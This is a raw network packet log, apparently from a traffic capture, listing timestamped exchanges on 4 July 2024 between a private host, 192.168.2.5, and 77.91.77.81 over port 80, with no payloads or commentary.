Jul 4, 2024 22:21:05.412931919 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412942886 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412955046 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412957907 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412966967 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412976980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.412982941 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.412991047 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413003922 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413021088 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413026094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413042068 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413048983 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413054943 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413059950 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413067102 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413080931 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413088083 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413091898 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413108110 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413110971 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413122892 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413130999 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413134098 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413145065 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413156033 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413163900 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413167000 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413172960 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413177013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413187981 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413197994 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413203001 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413213015 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413213968 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413225889 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413233042 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413249016 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413249016 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413261890 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413274050 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413280964 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413296938 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413300991 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413312912 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413321018 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413325071 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413336039 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413338900 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413347960 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413361073 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413371086 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413371086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413383007 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413392067 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413394928 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413408041 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413412094 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413419008 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413429976 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413429976 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413443089 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413455009 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413458109 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413466930 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413477898 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413480043 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413491964 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413492918 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413502932 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413512945 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413515091 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413525105 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413530111 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413536072 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413542032 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413548946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413559914 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413577080 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413796902 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413887978 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413942099 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413953066 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.413958073 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413975954 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.413990974 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.414030075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.414041042 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.414076090 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.427926064 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.427954912 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.427964926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.428005934 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.446779013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.446789980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.446799040 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.446886063 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.446897030 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.446911097 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.446921110 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.446974039 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.446974039 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.446974039 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.447005033 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.447154045 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.447169065 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.473454952 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.473467112 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.473475933 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.473542929 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.499718904 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499735117 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499746084 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499756098 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499766111 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499778032 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499799967 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.499835014 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.499895096 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499905109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499914885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499927044 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499937057 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.499938011 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499950886 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.499977112 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.500003099 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.500103951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.500114918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.500157118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.525993109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526002884 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526014090 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526032925 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526046991 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526078939 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526078939 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526101112 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526114941 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526129961 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526206017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526216984 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526253939 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526288033 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526298046 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526308060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526335955 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526350021 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526413918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526426077 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526434898 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526454926 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526482105 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526519060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526596069 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526606083 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526619911 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526643038 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526660919 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526669025 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526684999 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526701927 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526721001 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526731014 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526773930 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526798010 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526839018 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526876926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526889086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526921034 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.526979923 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526989937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.526999950 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527010918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527023077 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527044058 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527087927 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527209997 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527250051 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527256966 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527261019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527281046 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527307987 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527443886 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527487040 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527502060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527549982 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527554989 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527580023 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527597904 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527614117 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527812004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527822018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527832985 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527843952 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527851105 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527858019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527869940 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527877092 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527888060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527896881 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527905941 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527915001 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527919054 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527936935 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527949095 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527950048 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527960062 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527971029 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527971983 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527981997 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.527985096 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.527993917 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.528004885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.528004885 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.528016090 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.528037071 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.528059959 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.528227091 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.528238058 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.528248072 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.528274059 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.528275967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.528289080 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.528299093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.528300047 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.528310061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.528323889 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.528350115 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531002045 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531044006 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531048059 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531055927 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531090975 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531116962 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531126976 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531166077 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531198978 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531209946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531219006 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531229973 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531235933 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531241894 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531255960 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531280994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531332970 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531344891 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531354904 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531384945 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531398058 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531455994 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531503916 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531625032 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531663895 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531677961 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531685114 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531691074 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531696081 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531717062 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531728983 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531794071 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531805992 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531816006 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531826019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531842947 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531866074 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531891108 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531902075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531913996 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.531930923 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.531949043 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.537987947 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538037062 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538052082 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538081884 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.538117886 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.538157940 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538167953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538177967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538191080 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538203001 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538211107 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.538230896 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.538239956 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.538259029 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538297892 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.538381100 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538392067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538402081 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538413048 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538424015 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538425922 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.538435936 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.538450956 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.538465023 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.598711967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.598731995 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.598742962 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.598876953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.598887920 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.598897934 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.598910093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.598917961 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.598937988 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.598948956 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.599009037 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.599020958 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.599030972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.599041939 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.599051952 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.599054098 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.599072933 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.599092960 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.599191904 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.599205017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.599244118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.618706942 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618722916 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618731976 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618752003 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618762016 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618772984 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618786097 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618796110 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618805885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618824959 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618835926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618848085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618885994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.618885994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.618885994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.618885994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.618885994 CEST	49719	80	192.168.2.5	77.91.77.81
